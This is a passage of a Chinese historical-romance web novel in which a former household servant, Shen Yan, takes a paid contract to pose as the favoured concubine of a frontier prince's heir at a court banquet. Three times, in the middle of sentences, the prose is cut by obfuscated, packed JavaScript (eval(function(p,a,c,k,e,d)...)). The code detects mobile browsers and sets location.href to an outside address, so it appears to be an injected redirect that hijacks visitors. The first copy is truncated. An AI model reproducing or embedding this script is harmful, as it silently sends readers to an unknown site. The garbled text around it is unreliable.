——是他说得还不够清楚？ 他想起身将那支桃花扔出窗外，但此刻身上实在没力气，明日吧…… 最好当着她的面……眼皮越来越沉…… 梦境袭来，他是凄风苦雨中孑孑独行的旅人，却无意闯进一片明媚春光…… * 因元琛翌日要早朝，沈妍寅时便起身梳洗，传唤热水，伺候卫世子洗漱，用晨食。 至于更衣环节，这次元琛不等她走近，先开了口：“更衣仍由长庚负责。” “是。”沈妍态度柔顺乖巧。 因为昨晚的不愉快，她看出卫世子不喜与人靠得太近。 故而今早留了心，处处小心翼翼，尽量不触其逆鳞。 其余则样样一丝不苟，一则心存畏惧，二则意在讨好。 ——毕竟日后还有求于人家。 其实这些琐事都是元琛在军中做惯了的，无须沈妍伺候，但看她殷勤有加，元琛不由暗暗挑眉。 既然有人愿意表演，他倒也乐得瞧瞧她能闹出什么花样。 此外，他早注意到沈妍睡眼惺忪，眼下乌青一片，显然并不适应这般早起。 他并非怜香惜玉之人，但也没有与人为难的癖好，倘若换做是别人，早就免了这套规矩。 但对这个算计利用过他的女人，却油然生出了些恶作剧的心思。 在她看不见处浅浅勾唇——看你能撑多久。 昨晚办成件大事，加上睡眠不错，元琛早起心情颇佳。 一应收拾妥当，临出门瞥见屋角的桃花，他脑中情不自禁浮现出昨晚的梦…… 本打算过去扔东西、发脾气的脚步一顿，接着却视而不见地移开眼，大步踱出门去。 外面天还未亮，沈妍提着风灯一路将元琛送至王府大门外。 长庚已经备好马车，见元琛出来，熟练地搬来脚蹬，元琛头也不回地上了车。 马车启动，行出好长一段路，元琛端坐在车厢内，忽鬼使神差般想到了什么，长指将轿帘挑开一线，偏头向后望去。 那道单薄的身影竟还站在门口，手中风灯发出橘色暖光，将周遭无边的黑暗驱散了一块。 “白费力气。”他声色淡淡地嘀咕。 并未察觉自己后来还是盯着那豆灯光看了许久，直到马车在前方路口转弯，彻底瞧不见卫王府。 * 之后接连数日，日日皆是如此。 沈妍早起晚睡，迎来送往，勤谨周到。卫世子也未再像她初到当晚那般横眉冷对。 某次沈妍因为太困，脑袋不小心撞在门框上，他也连句没重话都没有，只是掩口清了清嗓子。 还有次他用晨食间，莫名其妙抬眼看了她两回，过于清冷的眸光直叫沈妍心底发毛。 须臾，忽听他说道：“脸上粘了饭粒。” 沈妍摸摸脸颊，果然触到一粒软糯的粳米——是她盛饭时不小心粘的。 卫世子言罢面色无波地继续用餐。沈妍却恍惚看见他唇角弯了一下，不过眨眼再看却已不见，像深潭中骤然消散的水波。 虽然没有证据，但沈妍总觉得，好像每次她一出糗，卫世子都碰巧心情不错似的。 总之，就是个性子阴晴不定且与她有些相克的怪人。 好在她并未打算在卫世子身边久留。 也是时候该为日后做些打算了。如今她在这世上无依无靠，日后唯有凭本事自立方是长久之计。 谋生的计划她都想好了。 早前受阿娘影响，沈妍在闺阁中就喜欢鼓捣些香料、口脂一类的小玩意，做出的东西常远胜外面买的。 这几日在京中闲逛，她留心考察了大大小小的妆面铺子，发现其中售卖的口脂仍以绵纸、胭脂膏子为主，而且色彩单一，做工也不够精良。 而帝京高门女子讲究妆面，口脂消耗也大。 倘能将自己制作的口脂拿出去售卖，定然大受欢迎。此外，她还有些新想法，想先试验一番。 这日清早，忙完手头的活，她同郑嬷嬷告了假，准备前往西市采买些制作口脂的原料回来。 郑嬷嬷为人宽厚，待她也极为和善，听说她要去逛西市，特地从库房内给她找了套男款藏青色圆领袍并一顶皂色尖头帽，帽子下面还覆着长及肩头的薄纱。 既方便她出行，又不易引人注意。 大庆民风开化，对女子的禁锢不似前朝，如今街头常见女子作此打扮。 从宣平坊步行大约两炷香即可抵达西市。 那里聚集着许多西域胡商开设的店铺，从中不仅能淘到各色香料，还能买到红花、朱砂、紫草、蜜蜡等制作口脂的上好材料。 巳时前后，沈妍便将东西买齐，挎着大包小包返回卫王府。 经过朱雀街时，周围忽然人声鼎沸。 南来北往的行人仿佛一下子暴涨了数倍，全都涌向街头，挨挨挤挤，摩肩接踵。 沈妍置身其间，听见人群中不断有人兴奋地高呼着“新科进士”，“状元”，“探花郎”…… 很快，她得知了个中缘由，原来是今春高中的进士们即将从此经过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089044|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >消息不胫而走，引得百姓争相围观。 沈妍对此兴致不高，只想尽快赶回卫王府，无奈此时寸步难行，稍不留神便被人流挤到了街边。 一阵鸣锣响过，衙役开道，人流自发地避让两边。 中间空出的街道上，一队人马自前方迤逦而来，马背上之人各个头戴金花，身披红绸，官袍加身，好一个春风得意马蹄疾！ 随着游行队伍渐近，人群越发沸腾起来。 沈妍看身旁的小娘子们争相朝中意的才子们投掷鲜花、绢帕、香囊、彩带…… 尤其那位探花郎，发间、肩膀、襟前均挂满了各色彩头，颇有花果盈车之意。 “快看！那位探花郎好生英俊，像画里走出来的。” “此人一路目不斜视，定是个洁身自好的青年。” “他是谁家郎君？回去叫父亲打听打听，趁早托冰人上门。” …… 叽叽喳喳的议论声中，沈妍也不由好奇地朝那位探花郎看去。 马背上的青年脊背挺直，眉目清正，行止间君子端方的气度依旧是她熟悉的模样。 林兄长？ * 林昭，林子旭，年长沈妍五岁，是沈妍在苏府时的邻居。 沈妍十二岁那年生母病亡。 她的生父，彼时身为六品奉议郎的苏文焕终于承认了沈妍的存在，将她接回苏府抚养。 看着阿娘临终前父亲哭得声泪俱下，一再承诺会照顾好她，沈妍一度觉得父亲对她们母女还是有几分歉疚和责任的。 毕竟，阿娘曾是他式微时，信誓旦旦要明媒正娶的妻，却因她罪臣之女又曾流落教坊司的身份，在父亲高中后不被苏家接受。 后来，父亲迎娶了县尉之女姜氏。 阿娘得知父亲另娶后，拒绝与他为妾，靠制香、售香独自抚养她长大，直至病亡。 进入苏府后，沈妍日渐看清人心。 他们给了她身份，也供她吃穿，却将她安置在庭院深处，几乎切断了她与外界所有往来。 偶有外人问起，苏府众人也均口径一致，说她是父亲当初在京赶考时，与妾所生的庶女。 至于嫡母苛待、弟妹排挤诸事，不管多明显，父亲也只是睁一眼闭一眼含混过去。 沈妍终于看明白，所谓责任与愧疚，父亲或许有之，但比起仕途与家宅安宁，那又算得了什么？ 她和阿娘永远是他见不得光的存在。 那时的苏府，于沈妍与其说是安身之所，不如说是一间牢笼。 但她才只有十二岁，举目无亲，无依无靠，更无法自立门户，只能依附于苏府，像一只被圈养的鹌鹑。 唯一与外界的联系，大概只有邻家那位喜欢坐在屋脊上读书、观星的兄长了。 林兄长与她说话总是笑意温存，每至闲暇常将外面发生的事讲给她听—— 从京城多了哪些新奇玩意、美味小食，到年节庆典、流行话本； 从乡野四时风光，到街头的穿衣风尚…… 偶尔沈妍也会见他面露忧色，感叹别看京中繁华热闹，实则大庆朝早已国库虚空，山河凋敝； 官家数度远征东夷，以至人丁零落，路边白骨无人收； 姚承嗣为向今上讨好献媚大兴土木，层层赋税追加下去，黎民百姓苦不堪言…… 他还说如今唯有江南富庶太平，有机会定带她前去游历一番。 起先，林兄长与她说话总是侃侃而谈，后来却渐渐变得支吾扭捏。 未开口，先红了脸。 5. 赴宴 某日，他忽说心悦她已久，问她是否也有同样心思？及笄后愿不愿意做他的妻？ 对于林子旭的问题，沈妍一一认真考虑过。 她爱看话本子，知晓何谓心悦。 只不过那种心跳加速或一日三秋的感觉，她对林子旭却未曾有过。 至于后一个问题，四年间她在苏府看明白了许多事，故而对自己的婚事并不报期望，日后只想凭手艺吃饭。 如果可以，找个老实人过日子即可。 而如果那人是林子旭，自是远胜不知根底之人。 所以，她点头说好。 林子旭听后，原本紧拧的眉心豁然舒展，与她约定，待来年春闱高中，定至苏府提亲。 后来，沈妍自是未等到那一天。 父亲那桩案子起得急，而苏家反应也快。 沈妍清楚记得，出事那日，向来对她不屑一顾的苏家人齐齐将目光投向了她。 当晚她便由一顶小轿送至晋国公府，临行前甚至未来得及与林子旭打一声招呼。 昔日之约言犹在耳，转眼已是物是人非。 望着眼前的繁华热闹，沈妍只觉一阵恍惚，好似睁着眼做了一场梦。 游行的队伍越过她，继续向前。 料峭春风拂面，沈妍醒过神，理了理被风吹乱的面纱，转身没入人潮。 片刻后，马背上的探花郎蓦然回首，视线扫过街边，似在寻找什么。 那是一个似曾相识的身影。半年来，他无一日不为她魂牵梦萦。 * 沈妍这一路走得有些心不在焉，也就未留意到身后有人跟随。 那是一个身形微微发福，穿着驼色窄袖衫的半老徐娘。 从沈妍离开朱雀街开始，那人便不远不近缀在她身后，直到看见她进入宣平坊，迈进卫王府的大门才转身离去。 * 回到迎晖阁，沈妍正坐在回廊上清点今日采买的收获。郑嬷嬷带着两名仆妇穿过月洞门入内。 二仆妇手上均端着一个托盘，上面炫彩缤纷，珠翠闪烁。 “沈娘子回来得这样早，东西都买完了？”郑嬷嬷步履轻快，边走边声色和蔼道。 沈妍答应着，一面起身施礼：“沈妍见过三位嬷嬷。” “不必多礼，”郑嬷嬷笑盈盈，“我们奉世子之命前来，因明日世子受邀前往长宁候府赴宴，此前曾差人送信回来，吩咐沈娘子明日陪同他前往。” 顿了顿，她朝身后比手，“这是沈娘子明日要用的衣物、头面。头面按世子吩咐从库房取出，衣物却是老身今日从成衣铺买来。沈娘子可先试穿一下，若哪里不合适，老身立时叫人送去改。” 沈妍应声说“好”，这才注意到二位仆妇手上的东西：衣料均是上好的绸缎、鲛绡，上面的泥金团花、花鸟佳果等印花纹样依稀可见。 她因之前见过晋国公府贵妾们的穿着，知道这些皆是时新花色。 及至看见盛头面的托盘上那支沉甸甸的步摇，沈妍杏眼都瞪大了一圈：“这……” 这哪里是女使的穿戴？ “沈娘子有哪里不满意？”郑嬷嬷打量她的神情。 沈妍忙道：“不敢。”继而问出心中疑惑，“只不过觉得这些衣料、头面未免过于贵重，用在妾身上是否于理不合？” 郑嬷嬷闻言弯唇道：“既是世子吩咐，沈娘子无须多虑。要知道，长宁候府的杏园宴上历来遍布士族高门。你既陪同世子前往，身上穿戴也关乎世子的体面不是？” 郑嬷嬷如此说，沈妍便不好再多言，应了声“是”恭敬收下。 她早前从林子旭口中得知，如今皇室衰微，各节度使割据一方，明争暗斗，权势、财力各方面甚至可堪与朝廷相抗。 兴许，卫世子只是不想北境被人小瞧了去？ * 长宁侯府西园遍植杏树，当此时节花开如云，粉白轻红缀满枝头。风过处，瓣瓣纷飞，如雪似霞。 杏园入口，长宁候夫妇均站在园外迎客。 沈妍观长宁候是一位白面黑髯的中年男子，身穿紫色团花锦袍，腰束金玉带，招呼客人时文雅贵气，礼数周到。 距他不远处，侯夫人则是位保养极好中年妇人，穿一袭藕荷色织金褙子，含笑与诸女客见礼。 沈妍跟随卫世子上前，她身后是侍卫长庚。 入院时，沈妍瞥见候夫人看见她眼底溢出讶异，但只一闪即消失。 他们在侯爷与侯夫人的一通热络寒暄过后被请入杏园。 迎面一道青石小径，两侧铺设着锦席，另有一处区域置锦绣帷帐，当是为女宾所设。 此时距离开席尚早，桌案上只摆放着大大小小的瓷碟，里面盛着花糕、蜜饯并时令鲜果。 不时有侍女手提银壶或端着托盘穿梭其间。 沈妍放眼望去——这座杏园占地约二十余亩，内有花木、假山、亭台，北侧还开凿了一片人工湖，依山傍水，尽得雅趣。 不多时宾客到齐，长宁候命人取了笔墨丹青，于林间另置几案，邀集友人才俊把酒赏景，吟诗作画，引得众人围观品评。 又有不少青年纨绔聚在一处玩投壶、射箭、双陆，不时迎来几声唏嘘，或一阵喝彩。 林间湖畔，则依稀可见贵女们三三两两聚集，或悠闲漫步，或倚栏赏花，或执团扇扑蝶…… 府中乐伎于杏林深处奏响乐曲，园内各处丝竹声声，笑语盈盈。 当然这只是表象，实则园内宾客众多，性情各异，并非所有人都有长宁侯夫妇那般涵养。 沈妍随卫世子沿青石小径走了没多远，便察觉到周围不住投来打量的眼光。 偶有只言片语飘入耳中，让她越听越觉面颊发烫。 人们似乎对她的身份误解颇深。 再看前方的卫世子，却仿佛听不见这些闲言碎语，一路目不斜视，阔步向前，直到被一名生着八字须的方脸汉子叫住。 那汉子身形魁梧，看打扮似是行伍中人。 见了元琛，行叉手礼：“元将军。” 元琛朝他略略颔首。 那汉子便朝南面比手：“家主在醉月亭相候。” 元琛道“好”，言罢扭头看了眼沈妍。 沈妍明白这是有不便她知晓的秘密，随手向北一指：“妾先去别处逛逛。” 元琛命长庚跟随她，言罢抬脚与方脸汉离开。 沈妍穿过杏林向北信步而行，长庚则不远不近缀地在她身后。 不多时抵达人工湖，左右园中贵女沈妍没一个认识，索性沿着湖畔鹅卵石小径边赏景边慢慢溜达。 前方树下有一名衣饰艳丽的盛装女子，沈妍看见她，视线一滞。 这不是凝香楼的女掌柜李胭娘吗？ 沈妍近来逛遍了京城大大小小的胭脂铺，故而认得李胭娘。 她的凝香楼胭脂铺开在东市，在京城最为气派。 不过纵使如此，李胭娘一介商户，除非专门受到邀请，通常不会出现在这种场合。 沈妍去过凝香楼，还对其认真观察了一番。 掌柜李胭娘颇具经商头脑，店内的胭脂、口脂一律售价不菲，却物非所值。 还有，从店员到掌柜，全都拜高踩低，对高门客人热络异常，对平民顾客却敷衍应付，多问几句便不耐烦。 此时李胭娘与身旁的女使也看见了沈妍。 二人边窃窃私语， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089045|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边不时朝她瞄一眼，表情颇为失礼。 “主子您瞧，那不是卫世子带来的侍妾？杏园里都传遍了。”女使菊芬朝不远处的沈妍抬了抬下巴，对李胭娘道。 向来清冷孤绝的卫世子，这次居然带了个侍妾赴宴。 消息不胫走，迅速在杏园的宾客们中间发酵起来。 李胭娘做贵女生意多年，对这种事分外敏锐，偏头打量着沈妍，她眯眼冷哼：“高门贵胄一时兴起，宠幸个把姬妾，没什么稀奇。” 菊芬显然不太苟同：“您再仔细瞧瞧她身上的穿戴——金步摇上那颗硕大的垂珠，还有那对耳坠子，莫不是波斯绿松石的吧？”说着正对上沈妍的目光，表情一僵。 沈妍已来到二人跟前，看二女眼神不似友善，便只装作未见，抬脚离开。 不料那李胭娘在她经过时突然拔高了声音，阴阳怪气道：“山鸡再怎么打扮也成不了凤凰，可偏偏就有些人，仗着有几分颜色，妄想攀附富贵，真是可笑！” 这般明晃晃的挑衅，连跟在沈妍身后的长庚听了也不禁皱眉。 沈妍闻言，原要离去的脚步顿住，转身盯着李胭娘：“李掌柜所言不无道理，不过山鸡好歹生得美，倘若是只土鸡，却做了李掌柜所言之事，岂不更可笑？” 话音未落，原本还义愤填膺的长庚，恍然注意到盛装之下艳俗、造作的李胭娘，又想到此人的所作所为，险些憋不住笑。 “你——”李胭娘显然未料到一个小侍妾竟如此大胆，一番伶牙俐齿地反驳，句句往她脸上戳。 沈妍摇头叹了口气，语气不无感慨：“说到底，山鸡也好，土鸡也罢，不过都是人家桌上的菜，何苦还要相互为难？” 李胭娘闻言面色变了几变，终究没绷住，指着沈妍尖声厉喝，“贱婢！你骂谁是土鸡？” 若不是长庚按着腰刀瞪她，险些要扑上来。 沈妍本以为李胭娘经商之人，该懂得和气生财的道理，没想到对方变本加厉。 她本不是个惹事的人，但人家欺负上来，她倒也不惧怕。 而且来赴宴前，郑嬷嬷曾提醒她顾及世子的“颜面”。 ——她是卫世子带来的人，李胭娘对她不敬，便是对卫世子不敬。 想到卫世子，她不知怎么便有了底气，索性毫不客气地上下打量着李胭娘。 李胭娘吼这一嗓子，立刻引得周边数名女宾驻足看来。 近些年，李胭娘生意越做越大，在京城贵女圈内几乎无人不识。 “出什么事了？李掌柜在和谁斗气？” “那不是卫世子的侍妾吗？” “一个侍妾如此胆大，定然深得宠幸，胭娘恐要吃亏。” “我看未必，胭娘还愁没靠山？况且她蛮劲上来，市井泼妇都不是对手。” “主子，咱们要不要过去劝劝？” “不急，先瞧瞧再说……” 受邀进杏园的客人一个比一个人精，谁都清楚眼下冲突双方一个是八面玲珑、靠山众多的京城掌柜，另一个则是位高权重北境世子的宠妾。 这架若劝得不好，得罪了哪边都不是。 再者这个小侍妾初入贵人圈，众人除了从长宁候夫妇处获知了她的身份、出处外，对其他方面一无所知，也想借机瞧瞧她的深浅、斤两。 李胭娘余光瞥见周遭贵女们，眼神闪了闪，忽话音一转，中气十足地对沈妍道：“这杏园的娘子们大都是我凝香楼的贵客，你这般出言不逊，未尝不是辱骂她们的眼光。怎么，这些贵人娘子们得罪你了？”说着看向四周，视线仿佛化作实质，将围观的众女圈在自己一边。 沈妍：“……” 好一个祸水东引，借刀杀人。 6. 契约 李掌柜可真会！不过沈妍也不是吃素的，冷哼一声：“连我骂谁都听不出，李掌柜还真是土鸡脑子，心也真黑，明明自己挨了骂，偏拖着旁人下水，贵人娘子们得罪你了？” “——更何况，你的凝香阁东西普通，价钱却是同行数倍不止，我相信大家看清真相后，一定会有更好的选择。” 一面以牙还牙，一面揭凝香阁的老底，沈妍也真是一点没省着力气。 李胭娘听完嘴角直抽，正要发作，一眼瞥见前方杏林中有个青松般颀长挺拔的身影一闪。 她眼珠一转，又换了张脸，嘤嘤哭道：“奴家虽为商户，却也是受侯夫人之邀前来。这里好歹是长宁侯府，你怎能仗着元将军宠幸，便肆意辱骂宾客，出口伤人？不要欺人太甚！”说着哭声更响。 沈妍看得几乎愣住——李掌柜演技好，情绪转换也是真快…… 只不过刚还好端端和她撕着，突然这唱得又是哪一出？ 李胭娘放声这么一哭，很快又吸引了更多人。终于有位贵妇上前向二人询问情况，试图调停，不过态度极为谨慎，双方都不肯得罪。 而围观者以女宾居多，零星也夹杂着几名男宾。 众人对二女间的龃龉窃窃议论—— “卫世子这个侍妾好生张扬，初露头脚便与人吵了起来。” “能把卫世子迷得神魂颠倒，想必不是什么善茬，听说她本出自晋国公府？” “没想到元忌平多年清誉，竟毁在一个侍妾手中……” 这边，沈妍继续戳穿李胭娘：“先出口伤人的分明是你，怎么，这便哭了？既如此，便该懂得‘己所不欲，勿施于人’的道理。” ——等等，仗着卫世子宠幸？李胭娘在瞎说什么？ 尚未来得及细想，附近嗡嗡议论声戛然而止，围观的众人包含李胭娘在内，均朝着她身后某个方向恭身施礼。 “元将军——” 沈妍一愕，转身看见卫世子朝她走来。 光是那冷玉凝霜般一张脸便看得她心头一凛。 ——世子是在责怪她吗？ “你这是做什么？”元琛在她身前顿足，语气浅含责备。 旁边，李胭娘假意拭泪，巾帕遮挡之下的双眸却掠过一抹得意。 远近围观的不少贵女面上均隐隐现出期待，仿佛只等着好戏上演。 沈妍听见卫世子如此说，眼中不由浮起一丝酸涩，正要开口解释，却不料他忽上前一步，同时解开身上披风，长臂一伸给她罩在肩头。 “湖畔风冷，逛这么久不知道加件氅衣？”卫世子语气中的责备更多了些，说着竟长指微动，不紧不慢地在她领口打了个结。 ——卫世子刚刚的语气……竟是怪她没有照顾好自己？那他到底有没有听见她都说了些什么？ 这个卫世子该不是假的吧？ 沈妍身子发僵。披风上面还带着卫世子身上的余温以及淡淡的松柏香，暖和又好闻……她不知为何神情有点恍惚。 醒过神时，听见卫世子的声音隔空响起：“还不走？” “哦。”沈妍讷讷应一声，这才注意到卫世子已转身走了，忙抬脚跟上。 长庚最后一个离开，临走前眼风冷冷扫过李胭娘。 后者尚未从震惊中缓过神来。 很久以后，李胭娘再度忆起与沈妍初见时的那场争吵，回想着卫世子当时的态度，才后知后觉地身上窜起冷意。 当然，这是后话。 眼下，望着卫世子一行离开，周遭宾客们个个呆若木鸡。 刚刚卫世子的举动已是再明显不过：不管发生了什么，他的人他会罩着。 在他跟前辩白？就凭李胭娘还不配。 良久，人群中响起更热烈的讨论—— “卫世子这是……老房子着火？” “怎能将一个侍妾宠成这样？” “他尚未娶妻，这不是拿前程开玩笑吗？” “照我说卫世子定是受那女人蛊惑……” 与此同时，几名贵女涌上前安慰李胭娘。 * 杏林深处，姚承嗣的宠妾将适才湖畔发生的一切看在眼中，忽地轻笑出声。 一旁，她的贴身侍女面露疑惑：“夫人笑什么？” 这位宠妾将手中团扇摇了摇，一双桃花眼兴味盎然：“咱们郎主看人真准，以后这京中怕是要热闹起来了。” 言罢，她带同侍女款步离开。 * 一场风波慢慢归于平静，湖畔再次只剩下李胭娘主仆。 “主子您没事吧？” “我能有什么事。”李胭娘拿帕子抹去脸上残留的水渍，像擦掉一片不小心沾染的尘埃。 她知道京中恋慕卫世子的贵女大有人在，连她有心结交的贵女之首亦不能例外。 而世人眼中玉骨冰姿、高不可攀的北境世子，竟被一个低贱女子捷足先登。 想想，连她这个局外人都气不过。 有人顾及颜面，便需要有人代替他们达成心中所想。 ——主要这事于她李胭娘有利可图。 她帮贵人娘子们教训那个侍妾，替她们出气，借机便可为凝香楼收买人心。 这笔买卖，双方谁都不亏。 李胭娘平时结交权贵，今日更是受侯夫人之邀前来赴宴，背后有不少高门贵女为她撑腰，故而并不畏惧区区一个小侍妾。 更何况，她已事先获知，对方只是个命如草芥的家姬出身，虽跟了卫世子，到底身世卑微。 而卫世子自持身份，量不会将她怎样。 只是万没想到，那女子竟是个伶牙俐齿的，三言两语句句都在打她的脸。 纵使她已有准备，仍未讨到半分便宜。 “掌柜，那个贱婢如此嚣张，真叫人气不过！”菊芬在旁恨恨说道，“要不要将今日之事告知郡主？” 李胭娘却摇头：“郡主尚未回京，和卫世子更是八字都没一撇，何必给她添堵。” 话落想到了什么，吩咐菊芬，“回去把店里新出的金缕砂包两支，去驿站托人给郡主送去。”言罢冷哼，从齿缝间蹦出几个字，“咱们走着瞧。” * 杏园宴结束，候府外，元琛先将沈妍扶上车轿，随后自己才踏上马车。 轿帘合上，将无数窥探的视线遮挡在外。 车厢内，元琛坐在离沈妍最远的锦垫上，有些疲惫地合上眼，长指轻捻着眉心。 对面，沈妍却杏眼清亮，钉子般落在元琛身上。 人前故作亲密，人后拒人千里。 卫世子分明是在利用她，故意向外界散布假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089046|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象。 沈妍脸色白了白，轻咬住下唇。 起初，她被卫世子突如其来的关心轰得晕头转向，还奇怪他为何突然转性？ 但稍事冷静，将这两日发生的事桩桩件件联系在一起，她渐渐回过味来—— 从郑嬷嬷送不合礼制的穿戴给她，叮嘱她须顾念世子颜面，到杏园门口侯夫人讶异的眼神； 从李胭娘故意挑衅，到周围人的窃窃私语； 从卫世子对她一反常态的关心与温柔，到贵女们敌视的眼光…… 这一切全是卫世子一手设计安排。 她所遭受的辱骂、非议，乃至贵女们敌视的眼光……全都是拜他所赐。 凭什么？ 在沈妍心里，哪怕卫世子当初便言明将她收作姬妾，他都能算是一个坦荡的坏人。 如今这又算什么？ 亏她之前还对此人心存感激，却原来，从他守约带她出府开始，到收留她做女使，乃至今日之种种，早就在他算计之中。 “世子是在利用我吧？”她语气清凌凌地开口。 元琛轻捻眉心的长指一顿。 沈妍望着他，眼底一点点蓄起水雾：“虽不知世子有何目的，但您今日在杏园所为，置妾的名节于何地？当初妾以姚府机密换得出府，与世子的交易已算是两清。彼时无处可去，承蒙世子收留，妾心存感激，亦未尝不是起早贪黑，尽心服侍，恪尽女使之责……” 她声音一噎，杏眸泛起薄红，“然世子今日之举……” “一百两。”元琛忽道。 他早就看出姚承嗣将沈妍送给他的目的，今日种种不过是将计就计。这也是为何，当初他说暂时不能放她离开。 当然，也的确是在利用沈妍。 但她于他的真实身份，当然就只是女使啊——不然呢？ 他又不是姚承嗣，还真将她收作侍妾不成？ 但看沈妍之前的态度，他在杏园所为，难道不是正合她心意？ 怎么还委屈上了？ 原本，元琛并未觉得自己有何不妥，但看沈妍这般委屈，却不知怎么，竟生出一阵心虚的烦躁。 话音落下，沈妍抽噎声一顿，愣住。 “——雇你陪我演戏。”元琛看着她，语音轻柔，“一月之后便可放你离开。” 看沈妍一时未答，又补了句，“或者你再考虑一下？可以等到——” “成交。”沈妍并未等他把话说完便做出了决定。 和当初在姚府的那场交易一样，还是那句话——简单、干脆，一副在商言商的口吻。 ——一百两，足够她在京城上好的位置经营一家店铺，做她一直想做的事了。 相比之下，刚刚在杏园所受的委屈根本不值一提。 不过看卫世子惊讶无语地望着她，她不禁又有些怀疑：“……世子所言当真？” 可不能再像上次那般含糊了事，得把话说清楚。 元琛回过神，薄削的唇角浮起一抹嘲讽：“怎么，沈娘子还想立个契约？” 沈妍：“也不是不行。一会儿到了迎晖阁，妾为世子研磨。” 元琛：“……” 咬着后槽牙道了声“好”，他再度合上眼，一句话都懒得再同她说。 他就知道……唯利是图的女人！ 7. 平叛 二人回到迎晖阁，元琛果真言出必行，和沈妍拟了份契约。 上面将履约期限、双方各自职责以及卫世子最后需支付给沈妍的银两，均白纸黑字写得清楚明白。 末尾沈妍签了字，元琛还盖了他的章。 虽说沈妍也知晓，卫世子位高权重，倘若真要反悔，她仅靠一纸凭证也没多大用处，但至少眼下，这份契约卫世子是认的，她心里便有了份保障。 相信堂堂一位世子，统领数十万兵马的大将军，应当不是那赖账之人。 将自己的那份契约拿在手中，沈妍盯着上面的“一月为期”四字，眉目渐渐舒展。 不就是对外假装一下么？又不需要她真做什么。 况且左右不过一个月，卫世子再怎么难缠，她忍一忍也就过去了。 后来——并未多久的后来，沈妍才知道，哪用得着一个月？卫世子真正需要她对外演戏的时间实则只有三天。 * 三日后，迎晖阁。暮色弥漫。 沈妍照例准备迎接世子回府，然酉正已过仍未收到任何通报——看来世子今夜又要晚归。 沈妍正打算出去问问，忽见窗外光亮异常。 她到院中一看，东北方向明晃晃的，有火光映亮了大片天幕，目测是道政坊方向。 沈妍想到那坊间的晋国公府，不知怎么有点心慌。 很快，王府内也有火光亮起。院墙外传来整齐的铠甲声，似有大批士兵擎着火把分散至院内各处，其间还夹杂着一两声：“反了！反了……” 迎晖阁外有道回廊，廊檐上挂着的鸟笼里养了只鹦鹉，此时听见外面的喊声，也跟着重复：“反了，反了……” 沈妍听得越发心惊：什么反了？谁要造反？卫世子吗？ 那她的一百两银——不对，眼下不是想这事的时候，造反可是要满门抄斩的！ 她进卫王府的门才没几天，那该算“门”里的，还是可以算成“门”外的？ 如果到时侯她拿出契约，说与卫世子只是临时雇佣关系，人家会不会相信？能不能对她从轻发落？ 心越来越慌。 她忍不住蹑手蹑脚来到月洞门边，想看看外面的情况，不想一眼看见了郑嬷嬷。 “那些都是世子的兵，沈娘子莫慌。”郑嬷嬷边说边朝她走来。 还说因为担心吓着她特来告知，但具体出了什么事她也不甚清楚，于是二人结伴去前院打听。 路上，郑嬷嬷老远瞧见了自己当家的，也是这府中的总管徐怀礼。 后者正站在甬道中央，比手画脚地将一队甲士指向西边一道侧门。 “到底出什么事了？”郑嬷嬷上前揪住徐管家问。 “晋国公谋反，官家下令查抄府邸，不想南衙禁军中竟有逆党作乱，世子领凌州宿卫护驾平叛，因不放心王府，特调了一队人马前来护院。”徐管家道。 晋国公府被抄了？沈妍几乎不敢相信自己的耳朵。 那可是当世只手遮天的右相啊……在朝多年，树大根深，竟一朝栽在卫世子手里？ 老奸臣固然是活该，可这未免也太突然了。 而且，她前脚才踏出晋国公府，后脚那里便被抄家了。 倘若当初她未同卫世子出来，此刻又会是怎样的下场…… 沈妍忽生出一种渺小的无力感，觉得自己好像一团狂席卷下漫天打转的柳絮，不知待风止歇后会飘落何处。 但愿卫世子平叛别再出什么岔子。 “这个节骨眼上，世子尚能抽调人手过来，料想没什么大事。”徐管家的话适时解了沈妍的担忧。 她身旁的郑嬷嬷随后念了句佛，感慨：“老奸臣祸害得百姓活不下去，如今总算恶贯满盈。”言罢一顿，讶异地问徐管家，“不过他不是深得圣宠，权势熏天么？怎么突然就倒了？” “听说是里通契丹，禁军在公府密室内抄出了老贼通敌的兵符和密函。”徐管家说。 沈妍听见“密室”二字心口又是重重一跳，想起之前她与卫世子在假山后的那笔交易。 彼时他正是问她密室所在。 难道说，自己不知不觉竟成了扳倒姚承嗣的重要一环？ 如此倒真是解气，只不过，从始至终她都蒙在鼓里，毫不知情。 这卫世子也太能算计了！ 尚未及深想，背后一个声音传来：“你们在说姚府的事？” 沈妍扭头望去——来人她之前见过，初到王府时便是此人急慌慌将卫世子叫走了。沈妍后来得知，他就住在王府中，是卫世子的参军，名叫薛坚。 与前几次见面的行色匆匆相比，此时薛参军脸上有种尘埃落定的从容。 